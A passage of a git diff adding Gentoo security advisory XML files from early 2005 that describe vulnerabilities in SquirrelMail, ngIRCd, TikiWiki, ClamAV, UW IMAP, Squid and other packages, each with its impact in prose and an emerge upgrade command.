+  <product type="ebuild">SquirrelMail</product>
+  <announced>January 28, 2005</announced>
+  <revised>January 28, 2005: 01</revised>
+  <bug>78116</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4</unaffected>
+      <vulnerable range="le">1.4.3a-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP
+    and SMTP and can optionally be installed with SQL support.
+    </p>
+  </background>
+  <description>
+    <p>
+    SquirrelMail fails to properly sanitize certain strings when
+    decoding specially-crafted strings, which can lead to PHP file
+    inclusion and XSS.
+    </p>
+    <ul>
+    <li>Insufficient checking of incoming URLs
+    in prefs.php (CAN-2005-0075) and in webmail.php (CAN-2005-0103).</li>
+    <li>Insufficient escaping of integers in webmail.php
+    (CAN-2005-0104).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially-crafted URL, an attacker can execute
+    arbitrary code from the local system with the permissions of the web
+    server. Furthermore by enticing a user to load a specially-crafted URL,
+    it is possible to display arbitrary remote web pages in Squirrelmail's
+    frameset and execute arbitrary scripts running in the context of the
+    victim's browser. This could lead to a compromise of the user's webmail
+    account, cookie theft, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The arbitrary code execution is only possible with
+    "register_globals" set to "On". Gentoo ships PHP with
+    "register_globals" set to "Off" by default. There are no known
+    workarounds for the other issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/squirrelmail-1.4.4&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/mailarchive/message.php?msg_id=10628451">SquirrelMail Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0075">CAN-2005-0075</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0103">CAN-2005-0103</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0104">CAN-2005-0104</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 25 Jan 2005 17:32:40 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 28 Jan 2005 10:51:51 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-40.xml b/xml/htdocs/security/en/glsa/glsa-200501-40.xml
new file mode 100644
index 00000000..e3478521
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-40.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-40">
+  <title>ngIRCd: Buffer overflow</title>
+  <synopsis>
+    ngIRCd is vulnerable to a buffer overflow that can be used to crash the
+    daemon and possibly execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">ngIRCd</product>
+  <announced>January 28, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>79705</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/ngircd" auto="yes" arch="*">
+      <unaffected range="ge">0.8.2</unaffected>
+      <vulnerable range="lt">0.8.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ngIRCd is a free open source daemon for Internet Relay Chat (IRC).
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Westphal discovered a buffer overflow caused by an integer
+    underflow in the Lists_MakeMask() function of lists.c.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can exploit this buffer overflow to crash the ngIRCd
+    daemon and possibly execute arbitrary code with the rights of the
+    ngIRCd daemon process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ngIRCd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/ngIRCd-0.8.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://arthur.ath.cx/pipermail/ngircd-ml/2005-January/000228.html">ngIRCd Release Annoucement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0199">CVE-2005-0199</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 27 Jan 2005 15:18:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 Jan 2005 16:04:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Jan 2005 16:45:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-41.xml b/xml/htdocs/security/en/glsa/glsa-200501-41.xml
new file mode 100644
index 00000000..db34d4ed
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-41.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-41">
+  <title>TikiWiki: Arbitrary command execution</title>
+  <synopsis>
+    A bug in TikiWiki allows certain users to upload and execute malicious PHP
+    scripts.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>January 30, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>78944</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.8.5</unaffected>
+      <vulnerable range="lt">1.8.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is a web-based groupware and content management system (CMS),
+    using PHP, ADOdb and Smarty.
+    </p>
+  </background>
+  <description>
+    <p>
+    TikiWiki does not validate files uploaded to the "temp" directory.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A malicious user could run arbitrary commands on the server by
+    uploading and calling a PHP script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.8.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://tikiwiki.org/art102">TikiWiki Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0200">CVE-2005-0200</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 28 Jan 2005 00:00:37 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Jan 2005 17:00:21 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-42.xml b/xml/htdocs/security/en/glsa/glsa-200501-42.xml
new file mode 100644
index 00000000..4bea8140
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-42.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-42">
+  <title>VDR: Arbitrary file overwriting issue</title>
+  <synopsis>
+    VDR insecurely accesses files with elevated privileges, which may result in
+    the overwriting of arbitrary files.
+  </synopsis>
+  <product type="ebuild">VDR</product>
+  <announced>January 30, 2005</announced>
+  <revised>January 30, 2005: 01</revised>
+  <bug>78230</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-video/vdr" auto="yes" arch="*">
+      <unaffected range="ge">1.2.6-r1</unaffected>
+      <vulnerable range="lt">1.2.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Video Disk Recorder (VDR) is a Linux-based digital video recorder.
+    The VDR program handles the On Screen Menu system that offers complete
+    control over channel settings, timers and recordings.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino Pena from the Debian Security Audit Team
+    discovered that VDR accesses user-controlled files insecurely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create malicious links and invoke a VDR
+    recording that would overwrite arbitrary files on the system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VDR users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vdr-1.2.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0071">CAN-2005-0071</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Jan 2005 10:22:04 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Jan 2005 10:59:05 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Jan 2005 11:54:01 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-43.xml b/xml/htdocs/security/en/glsa/glsa-200501-43.xml
new file mode 100644
index 00000000..262bad25
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-43.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-43">
+  <title>f2c: Insecure temporary file creation</title>
+  <synopsis>
+    f2c is vulnerable to symlink attacks, potentially allowing a local user to
+    overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">f2c</product>
+  <announced>January 30, 2005</announced>
+  <revised>January 30, 2005: 01</revised>
+  <bug>79725</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/f2c" auto="yes" arch="*">
+      <unaffected range="ge">20030320-r1</unaffected>
+      <vulnerable range="le">20030320</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    f2c is a Fortran to C translator. Portage uses this package in
+    some ebuilds to build Fortran sources.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino Pena from the Debian Security Audit Team
+    discovered that f2c creates temporary files in world-writeable
+    directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When f2c is executed, this would result in the file being overwritten
+    with the rights of the user running the software, which could be the
+    root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All f2c users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/f2c-20030320-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0017">CAN-2005-0017</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 29 Jan 2005 12:00:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Jan 2005 16:13:04 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-44.xml b/xml/htdocs/security/en/glsa/glsa-200501-44.xml
new file mode 100644
index 00000000..fc1906a3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-44.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-44">
+  <title>ncpfs: Multiple vulnerabilities</title>
+  <synopsis>
+    The ncpfs utilities contain multiple flaws, potentially resulting in the
+    remote execution of arbitrary code or local file access with elevated
+    privileges.
+  </synopsis>
+  <product type="ebuild">ncpfs</product>
+  <announced>January 30, 2005</announced>
+  <revised>January 30, 2005: 01</revised>
+  <bug>77414</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="net-fs/ncpfs" auto="yes" arch="*">
+      <unaffected range="ge">2.2.6</unaffected>
+      <vulnerable range="lt">2.2.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ncpfs is a NCP protocol network filesystem driver that allows
+    access to NetWare services, to mount volumes of NetWare servers or
+    print to NetWare print queues.
+    </p>
+  </background>
+  <description>
+    <p>
+    Erik Sjolund discovered two vulnerabilities in the programs
+    bundled with ncpfs: there is a potentially exploitable buffer overflow
+    in ncplogin (CAN-2005-0014), and due to a flaw in nwclient.c, utilities
+    using the NetWare client functions insecurely access files with
+    elevated privileges (CAN-2005-0013).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The buffer overflow might allow a malicious remote NetWare server
+    to execute arbitrary code on the NetWare client. Furthermore, a local
+    attacker may be able to create links and access files with elevated
+    privileges using SUID ncpfs utilities.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ncpfs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/ncpfs-2.2.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0013">CAN-2005-0013</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0014">CAN-2005-0014</uri>
+    <uri link="ftp://platan.vc.cvut.cz/pub/linux/ncpfs/Changes-2.2.6">ncpfs ChangeLog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Jan 2005 09:02:48 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Jan 2005 11:01:37 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Jan 2005 11:18:51 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-45.xml b/xml/htdocs/security/en/glsa/glsa-200501-45.xml
new file mode 100644
index 00000000..5cf28c2b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-45.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-45">
+  <title>Gallery: Cross-site scripting vulnerability</title>
+  <synopsis>
+    Gallery is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>January 30, 2005</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>78522</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4_p6</unaffected>
+      <vulnerable range="lt">1.4.4_p6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a web application written in PHP which is used to organize
+    and publish photo albums. It allows multiple users to build and
+    maintain their own albums. It also supports the mirroring of images on
+    other servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rafel Ivgi has discovered a cross-site scripting vulnerability where
+    the 'username' parameter is not properly sanitized in 'login.php'.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By sending a carefully crafted URL, an attacker can inject and execute
+    script code in the victim's browser window, and potentially compromise
+    the user's gallery.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-1.4.4_p6&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://gallery.menalto.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=149">Gallery Announcement</uri>
+    <uri link="http://secunia.com/advisories/13887/">Secunia Advisory SA13887</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0220">CVE-2005-0220</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 22 Jan 2005 13:17:09 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 Jan 2005 18:58:59 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-46.xml b/xml/htdocs/security/en/glsa/glsa-200501-46.xml
new file mode 100644
index 00000000..d90e3c9f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-46.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-46">
+  <title>ClamAV: Multiple issues</title>
+  <synopsis>
+    ClamAV contains two vulnerabilities that could lead to Denial of Service
+    and evasion of virus scanning.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>January 31, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>78656</bug>
+  <bug>79194</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.81</unaffected>
+      <vulnerable range="le">0.80</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is an antivirus toolkit. It includes a multi-threaded daemon and
+    a command line scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    ClamAV fails to properly scan ZIP files with special headers
+    (CAN-2005-0133) and base64 encoded images in URLs.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a base64 encoded image file in a URL an attacker could evade
+    virus scanning. By sending a specially-crafted ZIP file an attacker
+    could cause a Denial of Service by crashing the clamd daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.81&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0133">CAN-2005-0133</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0218">CVE-2005-0218</uri>
+    <uri link="http://sourceforge.net/forum/forum.php?forum_id=440649">ClamAV Release Announcement</uri>
+    <uri link="http://secunia.com/advisories/13900/">Secunia SA13900</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 27 Jan 2005 15:17:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 Jan 2005 21:31:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Jan 2005 09:07:27 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-01.xml b/xml/htdocs/security/en/glsa/glsa-200502-01.xml
new file mode 100644
index 00000000..886c5410
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-01">
+  <title>FireHOL: Insecure temporary file creation</title>
+  <synopsis>
+    FireHOL is vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">FireHOL</product>
+  <announced>February 01, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>79330</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-firewall/firehol" auto="yes" arch="*">
+      <unaffected range="ge">1.224</unaffected>
+      <vulnerable range="lt">1.224</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FireHOL is an iptables rules generator.
+    </p>
+  </background>
+  <description>
+    <p>
+    FireHOL insecurely creates temporary files with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create malicious symbolic links to arbitrary
+    system files. When FireHOL is executed, this could lead to these files
+    being overwritten with the rights of the user launching FireHOL,
+    usually the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FireHOL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-firewall/firehol-1.224&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cvs.sourceforge.net/viewcvs.py/firehol/firehol/firehol.sh">FireHOL CVS log</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0225">CVE-2005-0225</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 28 Jan 2005 10:32:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Jan 2005 16:54:50 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Jan 2005 23:48:34 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-02.xml b/xml/htdocs/security/en/glsa/glsa-200502-02.xml
new file mode 100644
index 00000000..f3ee8e88
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-02.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-02">
+  <title>UW IMAP: CRAM-MD5 authentication bypass</title>
+  <synopsis>
+    UW IMAP contains a vulnerability in the code handling CRAM-MD5
+    authentication allowing authentication bypass.
+  </synopsis>
+  <product type="ebuild">uw-imap</product>
+  <announced>February 02, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>79874</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/uw-imap" auto="yes" arch="*">
+      <unaffected range="ge">2004b</unaffected>
+      <vulnerable range="le">2004a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UW IMAP is the University of Washington IMAP toolkit which includes
+    POP3 and IMAP daemons.
+    </p>
+  </background>
+  <description>
+    <p>
+    A logic bug in the code handling CRAM-MD5 authentication incorrectly
+    specifies the condition for successful authentication.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability to authenticate as any
+    mail user on a server with CRAM-MD5 authentication enabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable CRAM-MD5 authentication.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All UW IMAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/uw-imap-2004b&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kb.cert.org/vuls/id/702777">US-CERT VU#702777</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0198">CVE-2005-0198</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 31 Jan 2005 15:19:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 Jan 2005 21:25:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  1 Feb 2005 20:33:12 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-03.xml b/xml/htdocs/security/en/glsa/glsa-200502-03.xml
new file mode 100644
index 00000000..65169f33
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-03.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-03">
+  <title>enscript: Multiple vulnerabilities</title>
+  <synopsis>
+    enscript suffers from vulnerabilities and design flaws, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">enscript</product>
+  <announced>February 02, 2005</announced>
+  <revised>February 02, 2005: 01</revised>
+  <bug>77408</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/enscript" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r3</unaffected>
+      <vulnerable range="lt">1.6.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    enscript is a powerful ASCII to PostScript file converter.
+    </p>
+  </background>
+  <description>
+    <p>
+    Erik Sjolund discovered several issues in enscript: it suffers
+    from several buffer overflows (CAN-2004-1186), quotes and shell escape
+    characters are insufficiently sanitized in filenames (CAN-2004-1185),
+    and it supported taking input from an arbitrary command pipe, with
+    unwanted side effects (CAN-2004-1184).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could design malicious files or input data which, once
+    feeded into enscript, would trigger the execution of arbitrary code
+    with the rights of the user running enscript.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All enscript users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/enscript-1.6.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1184">CAN-2004-1184</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1185">CAN-2004-1185</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1186">CAN-2004-1186</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 28 Jan 2005 10:31:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  1 Feb 2005 17:01:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  1 Feb 2005 21:40:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-04.xml b/xml/htdocs/security/en/glsa/glsa-200502-04.xml
new file mode 100644
index 00000000..01095742
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-04.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-04">
+  <title>Squid: Multiple vulnerabilities</title>
+  <synopsis>
+    Squid contains vulnerabilities in the code handling WCCP, HTTP and LDAP
+    which could lead to Denial of Service, access control bypass, web cache and
+    log poisoning.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>February 02, 2005</announced>
+  <revised>February 02, 2005: 02</revised>
+  <bug>79495</bug>
+  <bug>78776</bug>
+  <bug>80201</bug>
+  <bug>80341</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.7-r5</unaffected>
+      <vulnerable range="lt">2.5.7-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured Web proxy cache designed to run on Unix
+    systems. It supports proxying and caching of HTTP, FTP, and other
+    protocols, as well as SSL support, cache hierarchies, transparent
+    caching, access control lists and many other features.
+    </p>
+  </background>
+  <description>
+    <p>
+    Squid contains several vulnerabilities:
+    </p>
+    <ul>
+    <li>Buffer overflow when handling WCCP recvfrom()
+    (CAN-2005-0211).</li>
+    <li>Loose checking of HTTP headers (CAN-2005-0173 and
+    CAN-2005-0174).</li>
+    <li>Incorrect handling of LDAP login names with spaces
